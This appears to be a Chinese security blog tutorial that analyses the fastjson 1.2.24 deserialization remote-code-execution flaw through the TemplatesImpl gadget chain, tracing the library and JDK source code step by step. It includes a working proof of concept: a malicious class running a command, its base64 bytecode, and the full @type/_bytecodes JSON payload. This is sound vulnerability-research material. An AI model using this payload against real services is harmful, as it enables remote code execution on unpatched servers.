当前位置:

首页 > 编程开发 > java安全fastjson1.2.24反序列化TemplatesImpl实例分析

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:com.alibabafastjson1.2.24fastjson是alibaba开源的一个用于处理json数据格式的解析库,它支持将java对象解析成json字符串格式的数据,也可以将json字符串还原成java对象。不难看出,java对象转换成json数据就是序列化操作,而将json数据还原成java对象就是反序列化过程。1.fastjson序列化现在我们来看一下fastjs

漏洞环境:

fastjson1.2.24

jdk1.7.80

新建一个maven项目在pom.xml文件中引入fastjson的依赖:

        
            com.alibaba
            fastjson
            1.2.24
        

fastjson是alibaba开源的一个用于处理json数据格式的解析库,它支持将java对象解析成json字符串格式的数据,也可以将json字符串还原成java对象。不难看出,java对象转换成json数据就是序列化操作,而将json数据还原成java对象就是反序列化过程。

1. fastjson序列化

现在我们来看一下fastjson序列化过程,定义一个pojo类:

public class Student {
 
    private String name;
    private int age;
 
    public Student() {
        System.out.println(" method: Student() ");
    }
    public Student(String name , int age) {
        System.out.println(" method: Student(String name , int age) ");
        this.name = name;
        this.age = age;
    }
 
    public String getName() {
        System.out.println(" method: getName() ");
        return name;
    }
    public int getAge() {
        System.out.println(" method: getAge() ");
        return age;
    }
    public void setName(String name) {
        System.out.println(" method: setName() ");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println(" method setAge() ");
        this.age = age;
    }
}

示例程序:

public class FastjsonTest1 {
    public static void main(String[] args) {
        Student student = new Student("zhangsan" , 3);
        String jsonString = JSON.toJSONString(student);
        System.out.println(jsonString);
    }
}

执行结果如下:

 method: Student(String name , int age)

 method: getAge()

 method: getName()

{"age":3,"name":"zhangsan"}

fastjson调用toJSONString方法将Student对象转换成json字符串数据的过程中会调用对象的getter方法。

另外toJSONString方法在进行序列化时还可以指定一个可选的SerializerFeature.WriteClassName参数,指定了该参数后,在序列化时json数据中会写入一个@type选项,

如下所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

 json数据中的@type选项用于指定反序列化的类,也就是说所,当这段json数据被反序列化时,会按照@type选项中指定的类全名反序列化成java对象。

2. fastjson反序列化

fastjson提供了两个反序列化函数:parseObject和parse,我们通过示例程序来看一下fastjson的反序列化过程

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

方式一调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法。

方式二调用了parseObject方法进行反序列化,并且指定了反序列化对象Student类,parseObject方法会将json数据反序列化成Student对象,并且在反序列化过程中调用了Student对象的setter方法。

方式三调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法。

关于Feature.SupportNonPublicField参数:

以上这三种方式在进行反序列化时都会调用对象的构造方法创建对象,并且还会调用对象的setter方法,如果私有属性没有提供setter方法时,那么还会正确被反序列化成功吗?为了验证这个猜想,现在我们把Student对象的私有属性name的setter方法去掉。

从程序执行结果来看,私有属性name并没有被正确反序列化,也就是说fastjson默认情况下不会对私有属性进行反序列化。

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

如果需要将私有属性反序列化时,就可以调用parseObject方法指定Feature.SupportNonPublicField参数,

如下所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

 方式一反序列化时没有指定Feature.SupportNonPublicField参数,私有属性name没有反序列化时没有值,方式二和方式三指定了Feature.SupportNonPublicField参数后,私有属性name可以正确被反序列化。

3. fastjson反序列化漏洞原理

在上一小节中我们知道fastjson在进行反序列化时会调用目标对象的构造,setter,getter等方法,如果这些方法内部进行了一些危险的操作时,那么fastjson在进行反序列化时就有可能会触发漏洞。

我们通过一个简单的案例来说明fastjson反序列化漏洞原理

package com.fastjson;
 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
 
import java.io.IOException;
 
/**
 * @auther songly_
 * @data 2021/8/23 15:27
 */
 
//定义一个恶意类TestTempletaHello
class TestTempletaHello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
public class FastjsonTest1 {
    public static void main(String[] args) {
        //创建恶意类的实例并转换成json字符串
        TestTempletaHello testTempletaHello = new TestTempletaHello();
        String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        //将json字符串转换成对象
        Object obj = JSON.parse(jsonString);
        System.out.println(obj);
    }
}

在这个示例程序中先是构造了一个恶意类,然后调用toJSONString方法序列化对象写入@type,将@type指定为一个恶意的类TestTempletaHello的类全名,当调用parse方法对TestTempletaHello类进行反序列化时,会调用恶意类的构造方法创建实例对象,因此恶意类TestTempletaHello中的静态代码块中就会被执行。

执行结果如下:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

4. fastjson1.2.24漏洞复现

在实际场景中很多类没有这么明显的可以产生漏洞的代码,往往需要攻击者自己想方设法通过一些操作(例如反射,类加载,一些危险的函数)来构造一个漏洞利用环境。

在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。

fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:

  • 1. 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。

  • 2. 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。

定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码

package com.fastjson.pojo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TempletaPoc extends AbstractTranslet {
	//构造RCE代码
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

最终的poc代码:

package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.fastjson.pojo.Student;
import com.fastjson.pojo.TempletaPoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;
 import java.io.IOException;
/**
 * @auther songly_
 */
public class FastjsonTest1 {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        //恶意类TempletaPoc转换成字节码,base64编码
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                "'_name':'TempletaPoc'," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(payload);
        //反序列化
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

这里解释一下payload的构造:

  • @type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

  • _bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。

  • _name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)

  • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

5. fastjson1.2.24漏洞分析

参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject

    public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }

parse方法会循环获取可变参数features中的值,然后继续调用parse方法

	public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }

分析parse方法:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }
		//将json数据放到了一个DefaultJSONParser对象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
		//然后调用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }

parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

	public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
			//省略部分代码......
            case LBRACE:
				//创建一个JSONObject对象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
				//parseObject方法
                return parseObject(object, fieldName);
			//省略部分代码......
		}
	}

继续跟进parseObject方法;

	public final Object parseObject(final Map object, Object fieldName) {
		//省略部分代码......
		//从json中提取@type
		key = lexer.scanSymbol(symbolTable, '"');
		//省略部分代码......
		
		//校验@type
		if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
			//提取type对应的值
			String typeName = lexer.scanSymbol(symbolTable, '"');
			//然后根据typeName进行类加载
			Class clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
			if (clazz == null) {
				object.put(JSON.DEFAULT_TYPE_KEY, typeName);
				continue;
			}
		}
		//省略部分代码......
		
		//然后将class对象封装成ObjectDeserializer对象
		ObjectDeserializer deserializer = config.getDeserializer(clazz);
		//然后调用deserialze方法进行反序列化
		return deserializer.deserialze(this, clazz, fieldName);
	}

parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。

然后调用了deserialze方法,该方法中的参数如下所示:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。

protected  T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
		
			     //省略部分代码......
			
			     //调用createInstance方法实例化
			    if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
			
			//省略部分代码......
			
			//调用parseField方法解析json
			boolean match = parseField(parser, key, object, type, fieldValues);
		}

 我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。

parseField方法:

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map fieldValues) {
		//省略部分代码......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
		//SupportNonPublicField选项
        final int mask = Feature.SupportNonPublicField.mask;
		
		//if判断会校验SupportNonPublicField选项
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //获取TemplatesImpl对象的属性信息
        }
 
		//省略部分代码......
 
		//调用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }

parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。

校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。

    @Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map fieldValues) {
		
		//省略部分代码......
		
		//解析json中的数据(将每个属性的值还原)
		value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
		 
		 //省略部分代码......
		 
		 setValue(object, value);
   }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

继续跟进fieldValueDeserilizer的deserialze方法

    public  T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
		//省略部分代码......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
			//调用了bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
		
		//省略部分代码......
		
	}

deserialze方法内部调用了bytesValue方法。

bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。

继续分析setValue方法是如何触发漏洞的

public void setValue(Object object, Object value){
		//首先校验value是否为null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
			//根据outputProperties属性获取对应的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }

                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
						//反射调用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
	
	//省略部分代码......
	
}

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。

fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下:

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。

关于getOutputProperties方法的调用

不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。

    public FieldDeserializer smartMatch(String key) {
 
 
		//省略部分代码......
        
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
				//是否有"_"特殊字符串
                if (ch == '_') {
                    snakeOrkebab = true;
					//把_字符串替换为空
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == '-') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
            if (snakeOrkebab) {
                fieldDeserializer = getFieldDeserializer(key2);
                if (fieldDeserializer == null) {
                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                            fieldDeserializer = fieldDeser;
                            break;
                        }
                    }
                }
            }
        }
 
      //省略部分代码......
	  
    }

我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?

答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

java安全fastjson1.2.24反序列化TemplatesImpl实例分析

getter方法的查找方式需要满足以下几个条件:

方法名长度不小于4

必须是非静态方法

必须get字符串开头,并且第四个字符为大写字母

方法中不能有参数

返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。

getOutputProperties方法内部调用了newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
			//调用newTransformer方法
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

newTransformer方法内部调用了getTransletInstance方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer;
		//调用了getTransletInstance方法
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
 
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
 
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
			//调用defineTransletClasses方法
            if (_class == null) defineTransletClasses();
		
		//根据_class实例化类
		AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    }

跟进defineTransletClasses方法:

    private void defineTransletClasses() throws TransformerConfigurationException {
		//校验_bytecodes
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
 
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
					//通过_tfactory调用getExternalExtensionsMap方法
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
 
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
 
            for (int i = 0; i < classCount; i++) {
				//加载_bytecodes中的类(TempletaPoc)
                _class[i] = loader.defineClass(_bytecodes[i]);
				//获取TempletaPoc的父类
                final Class superClass = _class[i].getSuperclass();
 
                // Check if this is the main class
				//是否继承了AbstractTranslet类
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
 
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。

本文内容来源于互联网,如有侵权请联系删除。
作者最新文章
编程开发
相关文章 更多
谷歌浏览器Mac版入口
谷歌浏览器Mac版入口

谷歌浏览器Mac版官方安装指南 谷歌浏览器Mac版官方安装入口是https://www.google.com/chrome/,需macOS 12+系统、500MB空间,下载.dmg后拖入应用程序安装,支持多设备同步、性能优化与隐私保护功能。 苹果电脑Chrome的安装入口究竟在哪里?这个问题最近可是

Chrome浏览器JS脚本不运行怎么办
Chrome浏览器JS脚本不运行怎么办

Chrome中JavaScript未执行需依次检查:一、移除站点级禁用并添加允许域名;二、开启全局JavaScript开关;三、禁用干扰扩展;四、在开发者工具中启用JavaScript;五、重置内容设置为默认。 有时在Chrome里打开网页,会发现交互按钮点了没反应,数据加载不出来,页面仿佛“静止”

IE浏览器怀旧版在线网址
IE浏览器怀旧版在线网址

IE浏览器怀旧版在线网址:一次精准的技术时光回溯 最近,不少老用户和怀旧爱好者在反复搜索一个问题:那个经典的Internet Explorer,如今还能在哪里原汁原味地体验到?答案指向一个特定的地址:https://ie.microsoft.com/legacy/。 这个网站远不止是一个简单的“皮肤

火狐浏览器有哪些设置功能
火狐浏览器有哪些设置功能

火狐浏览器五大核心设置功能:解锁高效、安全与个性化体验 火狐浏览器功能强大,但如果不仔细挖掘,很多能大幅提升效率和安全性的设置可能就“藏着掖着”了。这就好比拥有一台高性能设备,却只用了基础模式。那么,如何把它调整到最顺手、最安全的状态?接下来,我们就聚焦于当前版本(截至2025年末)最关键的五大设置

chrome搜索免验证入口
chrome搜索免验证入口

Chrome官方免验证入口为https://www.google.cn/chrome/,提供全平台安装包、免登录即用、本地化安全机制及引擎级性能优化。 到底该去哪里找正版、免费且无需繁琐验证的Chrome浏览器入口?这个问题困扰了不少网友。今天,我们就来直通核心,为大家详细拆解Chrome引擎的官方

java heap space 选型思路:使用场景与区别整理
java heap space 选型思路:使用场景与区别整理

Java堆是JVM存储对象的核心内存区域,配置需结合场景:单体应用适中设置;大数据处理需大堆并关注GC停顿;微服务强调快速启动;高并发需精细划分堆区域。关键参数-Xms和-Xmx建议等值以稳定性能。垃圾回收器选择影响效率,如G1适用于大堆,ZGC可实现低停顿。内存错误时需监控堆状态。

java heap space 使用中遇到的问题怎么解决
java heap space 使用中遇到的问题怎么解决

Java堆内存溢出错误通常因内存泄漏、数据处理需求过大或JVM参数配置不当引起。排查时可借助jmap、堆转储及MAT等工具定位问题。解决方案包括调整JVM内存参数(如-Xmx)、修复代码中的内存泄漏、优化大数据处理逻辑,并建立持续监控与预防机制,以保障应用稳定运行。

java xml 选型思路:使用场景与区别整理
java xml 选型思路:使用场景与区别整理

XML在Java开发中用于配置、数据交换等场景。解析方式主要有DOM、SAX、StAX及第三方库。DOM适合操作小文件,SAX/StAX适合处理大文件流,JAXB用于对象与XML映射。选型需结合数据大小、内存、性能及团队熟悉度,现代框架常封装底层解析。

using namespace 使用中遇到的问题怎么解决
using namespace 使用中遇到的问题怎么解决

命名空间的基本概念与常见引入问题在C++等编程语言中,命名空间(namespace)是一种将代码标识符(如变量、函数、类名)封装在特定名称下的机制,其主要目的是避免命名冲突,尤其是在大型项目或使用多个第三方库时。使用“using namespace”指令可以将指定命名空间中的所有名称引入当前作用域,

c语言函数递归 实操经验总结:这些技巧很实用
c语言函数递归 实操经验总结:这些技巧很实用

理解递归的基本原理在C语言中,递归是一种函数调用自身的编程技术。要掌握它,首先需要理解其核心思想:将一个复杂的大问题,分解为一个或几个与原问题相似但规模更小的子问题,直到子问题足够简单,可以直接求解。这个过程通常包含两个关键部分:递归出口和递归体。递归出口定义了问题何时不再继续分解,即最简单、可直接

查看更多
精品专题 更多
装机必备
装机必备

正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

Windows
Windows

正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

macOS软件
macOS软件

正软商城macOS软件专区,精选适用于Mac电脑的办公、设计、影音、效率、开发和系统工具,提供软件功能介绍、macOS兼容版本、正版授权及购买下载服务。

Mac软件 更多
灵活计算器
灵活计算器
macOS/iOS/Android

灵活计算器是一款笔记式算数应用,支持实时计算、动态关联和云端同步功能。记录、整理和输出之间的过渡会更自然,适合长期写作、做笔记或持续沉淀个人内容。

赤友清理大师
赤友清理大师
macOS

